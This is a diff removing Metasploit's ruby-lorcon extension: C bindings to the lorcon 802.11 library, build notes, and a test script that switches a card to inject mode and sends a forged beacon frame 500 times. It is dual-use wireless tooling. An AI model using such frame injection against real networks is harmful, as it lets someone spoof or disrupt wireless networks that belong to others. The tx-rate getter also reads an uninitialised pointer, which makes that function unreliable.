Data_Get_Struct(self, struct rldev, rld);
|
||||
|
||||
|
||||
mode = tx80211_getmode(&rld->in_tx);
|
||||
if (mode < 0) {
|
||||
rb_raise(rb_eArgError, "Lorcon could not determine the mode of this device: %s", tx80211_geterrstr(&rld->in_tx));
|
||||
return(Qnil);
|
||||
}
|
||||
|
||||
switch (mode) {
|
||||
case TX80211_MODE_AUTO:
|
||||
return rb_str_new2("AUTO");
|
||||
break;
|
||||
case TX80211_MODE_ADHOC:
|
||||
return rb_str_new2("ADHOC");
|
||||
break;
|
||||
case TX80211_MODE_INFRA:
|
||||
return rb_str_new2("INFRA");
|
||||
break;
|
||||
case TX80211_MODE_MASTER:
|
||||
return rb_str_new2("MASTER");
|
||||
break;
|
||||
case TX80211_MODE_REPEAT:
|
||||
return rb_str_new2("REPEAT");
|
||||
break;
|
||||
case TX80211_MODE_SECOND:
|
||||
return rb_str_new2("SECOND");
|
||||
break;
|
||||
case TX80211_MODE_MONITOR:
|
||||
return rb_str_new2("MONITOR");
|
||||
break;
|
||||
default:
|
||||
return Qnil;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
static VALUE lorcon_device_set_mode(VALUE self, VALUE rmode) {
|
||||
struct rldev *rld;
|
||||
char *setmode = StringValuePtr(rmode);
|
||||
int mode = -1;
|
||||
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
|
||||
if (strcmp(setmode, "AUTO") == 0) {
|
||||
mode = TX80211_MODE_AUTO;
|
||||
} else if (strcmp(setmode, "ADHOC") == 0) {
|
||||
mode = TX80211_MODE_ADHOC;
|
||||
} else if (strcmp(setmode, "INFRA") == 0) {
|
||||
mode = TX80211_MODE_INFRA;
|
||||
} else if (strcmp(setmode, "MASTER") == 0) {
|
||||
mode = TX80211_MODE_MASTER;
|
||||
} else if (strcmp(setmode, "REPEAT") == 0) {
|
||||
mode = TX80211_MODE_REPEAT;
|
||||
} else if (strcmp(setmode, "SECOND") == 0) {
|
||||
mode = TX80211_MODE_SECOND;
|
||||
} else if (strcmp(setmode, "MONITOR") == 0) {
|
||||
mode = TX80211_MODE_MONITOR;
|
||||
} else {
|
||||
rb_raise(rb_eArgError, "Invalid mode specified: %s", tx80211_geterrstr(&rld->in_tx));
|
||||
return(Qnil);
|
||||
}
|
||||
|
||||
return INT2NUM(tx80211_setmode(&rld->in_tx, mode));
|
||||
}
|
||||
|
||||
|
||||
static VALUE lorcon_device_set_functional_mode(VALUE self, VALUE rmode) {
|
||||
struct rldev *rld;
|
||||
char *funcmode = StringValuePtr(rmode);
|
||||
int mode = -1;
|
||||
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
|
||||
if (strcmp(funcmode, "RFMON") == 0) {
|
||||
mode = TX80211_FUNCMODE_RFMON;
|
||||
} else if (strcmp(funcmode, "INJECT") == 0) {
|
||||
mode = TX80211_FUNCMODE_INJECT;
|
||||
} else if (strcmp(funcmode, "INJMON") == 0) {
|
||||
mode = TX80211_FUNCMODE_INJMON;
|
||||
} else {
|
||||
rb_raise(rb_eArgError, "Invalid mode specified: %s", tx80211_geterrstr(&rld->in_tx));
|
||||
return(Qnil);
|
||||
}
|
||||
|
||||
if (tx80211_setfunctionalmode(&rld->in_tx, mode) != 0) {
|
||||
rb_raise(rb_eArgError, "Lorcon could not set the functional mode: %s", tx80211_geterrstr(&rld->in_tx));
|
||||
return(Qnil);
|
||||
}
|
||||
return Qtrue;
|
||||
}
|
||||
|
||||
|
||||
static VALUE lorcon_device_get_txrate(VALUE self) {
|
||||
struct rldev *rld;
|
||||
int txrate;
|
||||
|
||||
txrate = tx80211_gettxrate(&rld->in_packet);
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
|
||||
switch (txrate) {
|
||||
case TX80211_RATE_DEFAULT:
|
||||
return UINT2NUM(0);
|
||||
break;
|
||||
case TX80211_RATE_1MB:
|
||||
return UINT2NUM(1);
|
||||
break;
|
||||
case TX80211_RATE_2MB:
|
||||
return UINT2NUM(2);
|
||||
break;
|
||||
case TX80211_RATE_5_5MB:
|
||||
return UINT2NUM(5);
|
||||
break;
|
||||
case TX80211_RATE_6MB:
|
||||
return UINT2NUM(6);
|
||||
break;
|
||||
case TX80211_RATE_9MB:
|
||||
return UINT2NUM(9);
|
||||
break;
|
||||
case TX80211_RATE_11MB:
|
||||
return UINT2NUM(11);
|
||||
break;
|
||||
case TX80211_RATE_24MB:
|
||||
return UINT2NUM(24);
|
||||
break;
|
||||
case TX80211_RATE_36MB:
|
||||
return UINT2NUM(36);
|
||||
break;
|
||||
case TX80211_RATE_48MB:
|
||||
return UINT2NUM(48);
|
||||
break;
|
||||
case TX80211_RATE_108MB:
|
||||
return UINT2NUM(108);
|
||||
break;
|
||||
default:
|
||||
rb_raise(rb_eArgError, "Lorcon could not determine the tx rate: %s", tx80211_geterrstr(&rld->in_tx));
|
||||
return(Qnil);
|
||||
}
|
||||
|
||||
return Qnil;
|
||||
}
|
||||
|
||||
|
||||
static VALUE lorcon_device_set_txrate(VALUE self, VALUE rrate) {
|
||||
struct rldev *rld;
|
||||
float settxrate = -1;
|
||||
int txrate = -1;
|
||||
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
|
||||
|
||||
if ((tx80211_getcapabilities(&rld->in_tx) & TX80211_CAP_SETRATE) == 0) {
|
||||
rb_raise(rb_eArgError, "Lorcon does not support setting the tx rate for this card");
|
||||
return(Qnil);
|
||||
}
|
||||
|
||||
settxrate = NUM2DBL(rrate);
|
||||
|
||||
if (settxrate == -1) {
|
||||
txrate = TX80211_RATE_DEFAULT;
|
||||
} else if (settxrate == 1) {
|
||||
txrate = TX80211_RATE_1MB;
|
||||
} else if (settxrate == 2) {
|
||||
txrate = TX80211_RATE_2MB;
|
||||
} else if (settxrate == 5.5) {
|
||||
txrate = TX80211_RATE_5_5MB;
|
||||
} else if (settxrate == 6) {
|
||||
txrate = TX80211_RATE_6MB;
|
||||
} else if (settxrate == 9) {
|
||||
txrate = TX80211_RATE_9MB;
|
||||
} else if (settxrate == 11) {
|
||||
txrate = TX80211_RATE_11MB;
|
||||
} else if (settxrate == 24) {
|
||||
txrate = TX80211_RATE_24MB;
|
||||
} else if (settxrate == 36) {
|
||||
txrate = TX80211_RATE_36MB;
|
||||
} else if (settxrate == 48) {
|
||||
txrate = TX80211_RATE_48MB;
|
||||
} else if (settxrate == 108) {
|
||||
txrate = TX80211_RATE_108MB;
|
||||
} else {
|
||||
rb_raise(rb_eArgError, "Lorcon does not support this rate setting");
|
||||
return(Qnil);
|
||||
}
|
||||
|
||||
if (tx80211_settxrate(&rld->in_tx, &rld->in_packet, txrate) < 0) {
|
||||
rb_raise(rb_eArgError, "Lorcon could not set the tx rate: %s", tx80211_geterrstr(&rld->in_tx));
|
||||
return(Qnil);
|
||||
}
|
||||
|
||||
return INT2NUM(txrate);
|
||||
}
|
||||
|
||||
static VALUE lorcon_device_get_modulation(VALUE self) {
|
||||
struct rldev *rld;
|
||||
int mod;
|
||||
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
|
||||
mod = tx80211_getmodulation(&rld->in_packet);
|
||||
switch (mod) {
|
||||
case TX80211_MOD_DEFAULT:
|
||||
return rb_str_new2("DEFAULT");
|
||||
break;
|
||||
case TX80211_MOD_FHSS:
|
||||
return rb_str_new2("FHSS");
|
||||
break;
|
||||
case TX80211_MOD_DSSS:
|
||||
return rb_str_new2("DSSS");
|
||||
break;
|
||||
case TX80211_MOD_OFDM:
|
||||
return rb_str_new2("OFDM");
|
||||
break;
|
||||
case TX80211_MOD_TURBO:
|
||||
return rb_str_new2("TURBO");
|
||||
break;
|
||||
case TX80211_MOD_MIMO:
|
||||
return rb_str_new2("MIMO");
|
||||
break;
|
||||
case TX80211_MOD_MIMOGF:
|
||||
return rb_str_new2("MIMOGF");
|
||||
break;
|
||||
default:
|
||||
rb_raise(rb_eArgError, "Lorcon could not get the modulation value");
|
||||
return(Qnil);
|
||||
}
|
||||
return(Qnil);
|
||||
}
|
||||
|
||||
static VALUE lorcon_device_set_modulation(VALUE self, VALUE rmod) {
|
||||
struct rldev *rld;
|
||||
char *setmod = NULL;
|
||||
int mod;
|
||||
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
|
||||
if ((tx80211_getcapabilities(&rld->in_tx) & TX80211_CAP_SETMODULATION) == 0) {
|
||||
rb_raise(rb_eArgError, "Lorcon does not support setting the modulation for this card");
|
||||
return(Qnil);
|
||||
}
|
||||
|
||||
setmod = StringValuePtr(rmod);
|
||||
|
||||
if (strcmp(setmod, "DEFAULT") == 0) {
|
||||
mod = TX80211_MOD_DEFAULT;
|
||||
} else if (strcmp(setmod, "FHSS") == 0) {
|
||||
mod = TX80211_MOD_FHSS;
|
||||
} else if (strcmp(setmod, "DSSS") == 0) {
|
||||
mod = TX80211_MOD_DSSS;
|
||||
} else if (strcmp(setmod, "OFDM") == 0) {
|
||||
mod = TX80211_MOD_OFDM;
|
||||
} else if (strcmp(setmod, "TURBO") == 0) {
|
||||
mod = TX80211_MOD_TURBO;
|
||||
} else if (strcmp(setmod, "MIMO") == 0) {
|
||||
mod = TX80211_MOD_MIMO;
|
||||
} else if (strcmp(setmod, "MIMOGF") == 0) {
|
||||
mod = TX80211_MOD_MIMOGF;
|
||||
} else {
|
||||
rb_raise(rb_eArgError, "Lorcon does not support this modulation setting");
|
||||
return(Qnil);
|
||||
}
|
||||
|
||||
if (tx80211_setmodulation(&rld->in_tx, &rld->in_packet, mod) < 0) {
|
||||
rb_raise(rb_eArgError, "Lorcon could not set the modulation: %s", tx80211_geterrstr(&rld->in_tx));
|
||||
return(Qnil);
|
||||
}
|
||||
|
||||
return INT2NUM(mod);
|
||||
}
|
||||
|
||||
static VALUE lorcon_device_get_capabilities(VALUE self) {
|
||||
struct rldev *rld;
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
return(lorcon_cap_to_list(tx80211_getcapabilities(&rld->in_tx)));
|
||||
}
|
||||
|
||||
static VALUE lorcon_device_open(int argc, VALUE *argv, VALUE self) {
|
||||
struct rldev *rld;
|
||||
int ret = 0;
|
||||
int drivertype = INJ_NODRIVER;
|
||||
char *driver, *intf;
|
||||
VALUE rbdriver, rbintf;
|
||||
VALUE obj;
|
||||
|
||||
rb_scan_args(argc, argv, "2", &rbintf, &rbdriver);
|
||||
|
||||
driver = STR2CSTR(rbdriver);
|
||||
intf = STR2CSTR(rbintf);
|
||||
|
||||
obj = Data_Make_Struct(cDevice, struct rldev, 0, lorcon_device_free, rld);
|
||||
|
||||
drivertype = tx80211_resolvecard(driver);
|
||||
if (drivertype == INJ_NODRIVER) {
|
||||
rb_raise(rb_eArgError, "Lorcon did not recognize the specified driver");
|
||||
return(Qnil);
|
||||
}
|
||||
|
||||
if (tx80211_init(&rld->in_tx, intf, drivertype) < 0) {
|
||||
rb_raise(rb_eRuntimeError, "Lorcon could not initialize the interface: %s", tx80211_geterrstr(&rld->in_tx));
|
||||
return(Qnil);
|
||||
}
|
||||
|
||||
/* Open the interface to get a socket */
|
||||
ret = tx80211_open(&rld->in_tx);
|
||||
if (ret < 0) {
|
||||
rb_raise(rb_eRuntimeError, "Lorcon could not open the interface: %s", tx80211_geterrstr(&rld->in_tx));
|
||||
return(Qnil);
|
||||
}
|
||||
|
||||
rb_obj_call_init(obj, 0, 0);
|
||||
return(obj);
|
||||
}
|
||||
|
||||
static VALUE lorcon_device_write(int argc, VALUE *argv, VALUE self) {
|
||||
struct rldev *rld;
|
||||
int ret = 0;
|
||||
int cnt = 0;
|
||||
int dly = 0;
|
||||
|
||||
VALUE rbbuff, rbcnt, rbdelay;
|
||||
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
|
||||
switch(rb_scan_args(argc, argv, "12", &rbbuff, &rbcnt, &rbdelay)) {
|
||||
case 1:
|
||||
rbdelay = INT2NUM(0);
|
||||
case 2:
|
||||
rbcnt = INT2NUM(1);
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
cnt = NUM2INT(rbcnt);
|
||||
dly = NUM2INT(rbdelay);
|
||||
|
||||
rld->in_packet.packet = StringValuePtr(rbbuff);
|
||||
rld->in_packet.plen = RSTRING(rbbuff)->len;
|
||||
|
||||
for (; cnt > 0; cnt--) {
|
||||
ret = tx80211_txpacket(&rld->in_tx, &rld->in_packet);
|
||||
if (ret < 0) {
|
||||
rb_raise(rb_eRuntimeError, "Lorcon could not transmit packet: %s", tx80211_geterrstr(&rld->in_tx));
|
||||
return(INT2NUM(ret));
|
||||
}
|
||||
if (dly > 0)
|
||||
#ifdef _MSC_VER
|
||||
Sleep(dly);
|
||||
#else
|
||||
usleep(dly);
|
||||
#endif
|
||||
}
|
||||
|
||||
return (rbcnt);
|
||||
}
|
||||
|
||||
void Init_Lorcon() {
|
||||
mLorcon = rb_define_module("Lorcon");
|
||||
rb_define_module_function(mLorcon, "drivers", lorcon_driver_list, 0);
|
||||
rb_define_module_function(mLorcon, "version", lorcon_get_version, 0);
|
||||
|
||||
cDevice = rb_define_class_under(mLorcon, "Device", rb_cObject);
|
||||
rb_define_singleton_method(cDevice, "new", lorcon_device_open, -1);
|
||||
rb_define_method(cDevice, "channel", lorcon_device_get_channel, 0);
|
||||
rb_define_method(cDevice, "channel=", lorcon_device_set_channel, 1);
|
||||
rb_define_method(cDevice, "write", lorcon_device_write, -1);
|
||||
rb_define_method(cDevice, "mode", lorcon_device_get_mode, 0);
|
||||
rb_define_method(cDevice, "mode=", lorcon_device_set_mode, 1);
|
||||
rb_define_method(cDevice, "fmode=", lorcon_device_set_functional_mode, 1);
|
||||
rb_define_method(cDevice, "txrate", lorcon_device_get_txrate, 0);
|
||||
rb_define_method(cDevice, "txrate=", lorcon_device_set_txrate, 1);
|
||||
rb_define_method(cDevice, "modulation", lorcon_device_get_modulation, 0);
|
||||
rb_define_method(cDevice, "modulation=", lorcon_device_set_modulation, 1);
|
||||
rb_define_method(cDevice, "capabilities", lorcon_device_get_capabilities, 0);
|
||||
}
|
|
@ -1,19 +0,0 @@
|
|||
#ifndef _MSFLORCON_H
|
||||
#define _MSFLORCON_H
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <errno.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/socket.h>
|
||||
#include <tx80211.h>
|
||||
#include <tx80211_packet.h>
|
||||
|
||||
|
||||
struct rldev {
|
||||
struct tx80211 in_tx;
|
||||
struct tx80211_packet in_packet;
|
||||
};
|
||||
|
||||
|
||||
#endif
|
|
@ -1,41 +0,0 @@
|
|||
This is an experimental interface for lorcon, a 802.11 library
|
||||
developed by Joshua Wright and dragorn. This interface is only
|
||||
available on Linux and with lorcon-supported wireless drivers.
|
||||
|
||||
For more information, please see the lorcon documentation and code:
|
||||
http://www.802.11mercenary.net/lorcon/
|
||||
|
||||
To build this extension:
|
||||
|
||||
1) Download, compile, and install lorcon
|
||||
The latest version of lorcon can pulled from SVN:
|
||||
$ svn co https://802.11ninja.net/svn/lorcon/trunk/ lorcon
|
||||
$ cd lorcon
|
||||
$ ./configure
|
||||
$ make
|
||||
$ sudo make install
|
||||
-- or --
|
||||
$ su
|
||||
# make install
|
||||
# exit
|
||||
$ cd ..
|
||||
|
||||
2) build the ruby extension..
|
||||
$ ruby extconf.rb
|
||||
$ make
|
||||
$ sudo make install
|
||||
-- or --
|
||||
$ su
|
||||
# make install
|
||||
|
||||
|
||||
NOTES:
|
||||
|
||||
if Ubuntu 8.04 (and probably others) bitches about 'mkmf',
|
||||
you need ruby dev package.
|
||||
|
||||
:~/metasploit/external/ruby-lorcon$ ruby extconf.rb
|
||||
extconf.rb:2:in `require': no such file to load -- mkmf (LoadError)
|
||||
from extconf.rb:2
|
||||
|
||||
:~/metasploit/external/ruby-lorcon$ sudo apt-get install ruby1.8-dev
|
|
@ -1,8 +0,0 @@
|
|||
#!/usr/bin/env ruby
|
||||
require 'mkmf'
|
||||
|
||||
if (have_library("orcon", "tx80211_txpacket", "tx80211.h") or find_library("orcon", "tx80211_txpacket", "tx80211.h"))
|
||||
create_makefile("Lorcon")
|
||||
else
|
||||
puts "Error: the lorcon library was not found, please see the README"
|
||||
end
|
|
@ -1,47 +0,0 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
$:.unshift(File.dirname(__FILE__))
|
||||
require "Lorcon"
|
||||
require "pp"
|
||||
|
||||
pp Lorcon.version
|
||||
pp Lorcon.drivers
|
||||
|
||||
# Beacon frame from tx.c
|
||||
packet = [
|
||||
0x80, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, # dur ffff
|
||||
0xff, 0xff, 0x00, 0x0f, 0x66, 0xe3, 0xe4, 0x03,
|
||||
0x00, 0x0f, 0x66, 0xe3, 0xe4, 0x03, 0x00, 0x00, # 0x0000 - seq no.
|
||||
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, # BSS timestamp
|
||||
0x64, 0x00, 0x11, 0x00, 0x00, 0x0f, 0x73, 0x6f,
|
||||
0x6d, 0x65, 0x74, 0x68, 0x69, 0x6e, 0x67, 0x63,
|
||||
0x6c, 0x65, 0x76, 0x65, 0x72, 0x01, 0x08, 0x82,
|
||||
0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, 0x03,
|
||||
0x01, 0x01, 0x05, 0x04, 0x00, 0x01, 0x00, 0x00,
|
||||
0x2a, 0x01, 0x05, 0x2f, 0x01, 0x05, 0x32, 0x04,
|
||||
0x0c, 0x12, 0x18, 0x60, 0xdd, 0x05, 0x00, 0x10,
|
||||
0x18, 0x01, 0x01, 0xdd, 0x16, 0x00, 0x50, 0xf2,
|
||||
0x01, 0x01, 0x00, 0x00, 0x50, 0xf2, 0x02, 0x01,
|
||||
0x00, 0x00, 0x50, 0xf2, 0x02, 0x01, 0x00, 0x00,
|
||||
0x50, 0xf2, 0x02
|
||||
].pack('C*')
|
||||
|
||||
|
||||
# Configure the card for reliable injection
|
||||
|
||||
tx = Lorcon::Device.new('ath0', 'madwifing')
|
||||
tx.fmode = "INJECT"
|
||||
tx.channel = 11
|
||||
tx.txrate = 2
|
||||
tx.modulation = "DSSS"
|
||||
|
||||
sa = Time.now.to_f
|
||||
tx.write(packet, 500, 0)
|
||||
ea = Time.now.to_f - sa
|
||||
|
||||
sb = Time.now.to_f
|
||||
500.times { tx.write(packet, 1, 0) }
|
||||
eb = Time.now.to_f - sb
|
||||
|
||||
$stdout.puts "Sent 500 packets (C) in #{ea.to_s} seconds"
|
||||
$stdout.puts "Sent 500 packets (Ruby) in #{eb.to_s} seconds"
|
|
@ -1,655 +0,0 @@
|
|||
#include "Lorcon2.h"
|
||||
#include "ruby.h"
|
||||
|
||||
#ifndef RUBY_19
|
||||
#include "rubysig.h"
|
||||
#endif
|
||||
|
||||
/*
|
||||
self.license = GPLv2;
|
||||
*/
|
||||
|
||||
/*
|
||||
This is a derivative of the tx.c sample included with lorcon:
|
||||
http://802.11ninja.net/lorcon/
|
||||
|
||||
lorcon is free software; you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation; either version 2 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
lorcon is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with lorcon; if not, write to the Free Software
|
||||
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
|
||||
|
||||
Copyright (c) 2005 dragorn and Joshua Wright
|
||||
|
||||
*/
|
||||
|
||||
/*
|
||||
Lots of code borrowed from Tom Wambold's pylorcon:
|
||||
http://pylorcon.googlecode.com/ - tom5760[at]gmail.com
|
||||
*/
|
||||
|
||||
/*
|
||||
All ruby-lorcon/rubyisms are by Rapid7, Inc. (C) 2006-2007
|
||||
http://metasploit.com/ - msfdev[at]metasploit.com
|
||||
*/
|
||||
|
||||
VALUE mLorcon;
|
||||
VALUE cDevice;
|
||||
VALUE cPacket;
|
||||
|
||||
VALUE Lorcon_get_version(VALUE self) {
|
||||
return INT2NUM(lorcon_get_version());
|
||||
}
|
||||
|
||||
static VALUE Lorcon_list_drivers(VALUE self) {
|
||||
VALUE list;
|
||||
VALUE hash;
|
||||
|
||||
lorcon_driver_t *drvlist, *dri;
|
||||
|
||||
list = rb_hash_new();
|
||||
|
||||
dri = drvlist = lorcon_list_drivers();
|
||||
|
||||
if (dri == NULL)
|
||||
return Qnil;
|
||||
|
||||
while (dri) {
|
||||
hash = rb_hash_new();
|
||||
rb_hash_aset(hash, rb_str_new2("name"), rb_str_new2(dri->name));
|
||||
rb_hash_aset(hash, rb_str_new2("description"), rb_str_new2(dri->details));
|
||||
rb_hash_aset(list, rb_str_new2(dri->name),hash);
|
||||
dri = dri->next;
|
||||
}
|
||||
|
||||
lorcon_free_driver_list(drvlist);
|
||||
|
||||
return(list);
|
||||
}
|
||||
|
||||
static VALUE Lorcon_find_driver(VALUE self, VALUE driver) {
|
||||
VALUE hash;
|
||||
lorcon_driver_t *dri;
|
||||
char *drivert = RSTRING_PTR(driver);
|
||||
|
||||
dri = lorcon_find_driver(drivert);
|
||||
|
||||
if (dri == NULL)
|
||||
return Qnil;
|
||||
|
||||
hash = rb_hash_new();
|
||||
|
||||
rb_hash_aset(hash, rb_str_new2("name"), rb_str_new2(dri->name));
|
||||
rb_hash_aset(hash, rb_str_new2("description"), rb_str_new2(dri->details));
|
||||
|
||||
lorcon_free_driver_list(dri);
|
||||
|
||||
return(hash);
|
||||
}
|
||||
|
||||
static VALUE Lorcon_auto_driver(VALUE self, VALUE interface) {
|
||||
VALUE hash;
|
||||
lorcon_driver_t *dri;
|
||||
char *intf = RSTRING_PTR(interface);
|
||||
|
||||
dri = lorcon_auto_driver(intf);
|
||||
|
||||
if (dri == NULL)
|
||||
return Qnil;
|
||||
|
||||
hash = rb_hash_new();
|
||||
rb_hash_aset(hash, rb_str_new2("name"), rb_str_new2(dri->name));
|
||||
rb_hash_aset(hash, rb_str_new2("description"), rb_str_new2(dri->details));
|
||||
|
||||
lorcon_free_driver_list(dri);
|
||||
|
||||
return hash;
|
||||
}
|
||||
|
||||
void Lorcon_free(struct rldev *rld) {
|
||||
if (rld->context != NULL)
|
||||
lorcon_free(rld->context);
|
||||
}
|
||||
|
||||
static VALUE Lorcon_create(int argc, VALUE *argv, VALUE self) {
|
||||
struct rldev *rld;
|
||||
char *intf = NULL, *driver = NULL;
|
||||
VALUE rbdriver, rbintf, obj;
|
||||
lorcon_driver_t *dri;
|
||||
|
||||
if (argc == 2) {
|
||||
rb_scan_args(argc, argv, "2", &rbintf, &rbdriver);
|
||||
intf = StringValuePtr(rbintf);
|
||||
driver = StringValuePtr(rbdriver);
|
||||
} else {
|
||||
rb_scan_args(argc, argv, "1", &rbintf);
|
||||
intf = StringValuePtr(rbintf);
|
||||
}
|
||||
|
||||
if (driver == NULL) {
|
||||
if ((dri = lorcon_auto_driver(intf)) == NULL) {
|
||||
rb_raise(rb_eRuntimeError,
|
||||
"LORCON could not detect a driver and none specified");
|
||||
return (Qnil);
|
||||
}
|
||||
} else {
|
||||
if ((dri = lorcon_find_driver(driver)) == NULL) {
|
||||
rb_raise(rb_eArgError,
|
||||
"LORCON could not recognize the specified driver");
|
||||
return (Qnil);
|
||||
}
|
||||
}
|
||||
|
||||
obj = Data_Make_Struct(cDevice, struct rldev, 0, Lorcon_free, rld);
|
||||
|
||||
rld->context = lorcon_create(intf, dri);
|
||||
|
||||
// Obsolete: XXX
|
||||
// lorcon_set_timeout(rld->context, 100);
|
||||
|
||||
if (rld->context == NULL) {
|
||||
rb_raise(rb_eRuntimeError,
|
||||
"LORCON could not create context");
|
||||
return (Qnil);
|
||||
}
|
||||
|
||||
lorcon_free_driver_list(dri);
|
||||
|
||||
rb_obj_call_init(obj, 0, 0);
|
||||
return(obj);
|
||||
}
|
||||
|
||||
|
||||
static VALUE Lorcon_open_inject(VALUE self) {
|
||||
struct rldev *rld;
|
||||
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
|
||||
if (lorcon_open_inject(rld->context) < 0)
|
||||
return Qfalse;
|
||||
|
||||
return Qtrue;
|
||||
}
|
||||
|
||||
static VALUE Lorcon_open_monitor(VALUE self) {
|
||||
struct rldev *rld;
|
||||
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
|
||||
if (lorcon_open_monitor(rld->context) < 0)
|
||||
return Qfalse;
|
||||
|
||||
return Qtrue;
|
||||
}
|
||||
|
||||
static VALUE Lorcon_open_injmon(VALUE self) {
|
||||
struct rldev *rld;
|
||||
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
|
||||
if (lorcon_open_injmon(rld->context) < 0)
|
||||
return Qfalse;
|
||||
|
||||
return Qtrue;
|
||||
}
|
||||
|
||||
static VALUE Lorcon_get_error(VALUE self) {
|
||||
struct rldev *rld;
|
||||
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
|
||||
return rb_str_new2(lorcon_get_error(rld->context));
|
||||
}
|
||||
|
||||
static VALUE Lorcon_get_capiface(VALUE self) {
|
||||
struct rldev *rld;
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
|
||||
return rb_str_new2(lorcon_get_capiface(rld->context));
|
||||
}
|
||||
|
||||
void Lorcon_packet_free(struct rlpack *rlp) {
|
||||
if (rlp->packet != NULL) {
|
||||
lorcon_packet_free(rlp->packet);
|
||||
rlp->packet = NULL;
|
||||
free(rlp);
|
||||
}
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_create(int argc, VALUE *argv, VALUE self) {
|
||||
struct rlpack *rlp;
|
||||
VALUE obj;
|
||||
|
||||
obj = Data_Make_Struct(cPacket, struct rlpack, 0, Lorcon_packet_free, rlp);
|
||||
|
||||
rlp->packet = (struct lorcon_packet *) malloc(sizeof(struct lorcon_packet));
|
||||
memset(rlp->packet, 0, sizeof(struct lorcon_packet));
|
||||
|
||||
rlp->bssid = NULL;
|
||||
rlp->dot3 = NULL;
|
||||
rlp->len = 0;
|
||||
rlp->dir = 0;
|
||||
|
||||
rb_obj_call_init(obj, 0, 0);
|
||||
return(obj);
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_get_channel(VALUE self) {
|
||||
struct rlpack *rlp;
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
return INT2FIX(rlp->packet->channel);
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_set_channel(VALUE self, VALUE channel) {
|
||||
struct rlpack *rlp;
|
||||
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
lorcon_packet_set_channel(rlp->packet, NUM2INT(channel));
|
||||
|
||||
return channel;
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_get_dlt(VALUE self) {
|
||||
struct rlpack *rlp;
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
return INT2FIX(rlp->packet->dlt);
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_get_bssid(VALUE self) {
|
||||
struct rlpack *rlp;
|
||||
struct lorcon_dot11_extra *extra;
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
if (rlp->packet->extra_info == NULL ||
|
||||
rlp->packet->extra_type != LORCON_PACKET_EXTRA_80211)
|
||||
return Qnil;
|
||||
|
||||
extra = (struct lorcon_dot11_extra *) rlp->packet->extra_info;
|
||||
|
||||
if (extra->bssid_mac == NULL)
|
||||
return Qnil;
|
||||
|
||||
return rb_str_new((char *)extra->bssid_mac, 6);
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_get_source(VALUE self) {
|
||||
struct rlpack *rlp;
|
||||
struct lorcon_dot11_extra *extra;
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
if (rlp->packet->extra_info == NULL ||
|
||||
rlp->packet->extra_type != LORCON_PACKET_EXTRA_80211)
|
||||
return Qnil;
|
||||
|
||||
extra = (struct lorcon_dot11_extra *) rlp->packet->extra_info;
|
||||
|
||||
if (extra->source_mac == NULL)
|
||||
return Qnil;
|
||||
|
||||
return rb_str_new((char *)extra->source_mac, 6);
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_get_dest(VALUE self) {
|
||||
struct rlpack *rlp;
|
||||
struct lorcon_dot11_extra *extra;
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
if (rlp->packet->extra_info == NULL ||
|
||||
rlp->packet->extra_type != LORCON_PACKET_EXTRA_80211)
|
||||
return Qnil;
|
||||
|
||||
extra = (struct lorcon_dot11_extra *) rlp->packet->extra_info;
|
||||
|
||||
if (extra->dest_mac == NULL)
|
||||
return Qnil;
|
||||
|
||||
return rb_str_new((char *)extra->dest_mac, 6);
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_get_rawdata(VALUE self) {
|
||||
struct rlpack *rlp;
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
if (rlp->packet->packet_raw == NULL)
|
||||
return Qnil;
|
||||
|
||||
return rb_str_new((char *)rlp->packet->packet_raw, rlp->packet->length);
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_get_headerdata(VALUE self) {
|
||||
struct rlpack *rlp;
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
if (rlp->packet->packet_header == NULL)
|
||||
return Qnil;
|
||||
|
||||
return rb_str_new((char *)rlp->packet->packet_header, rlp->packet->length_header);
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_get_data(VALUE self) {
|
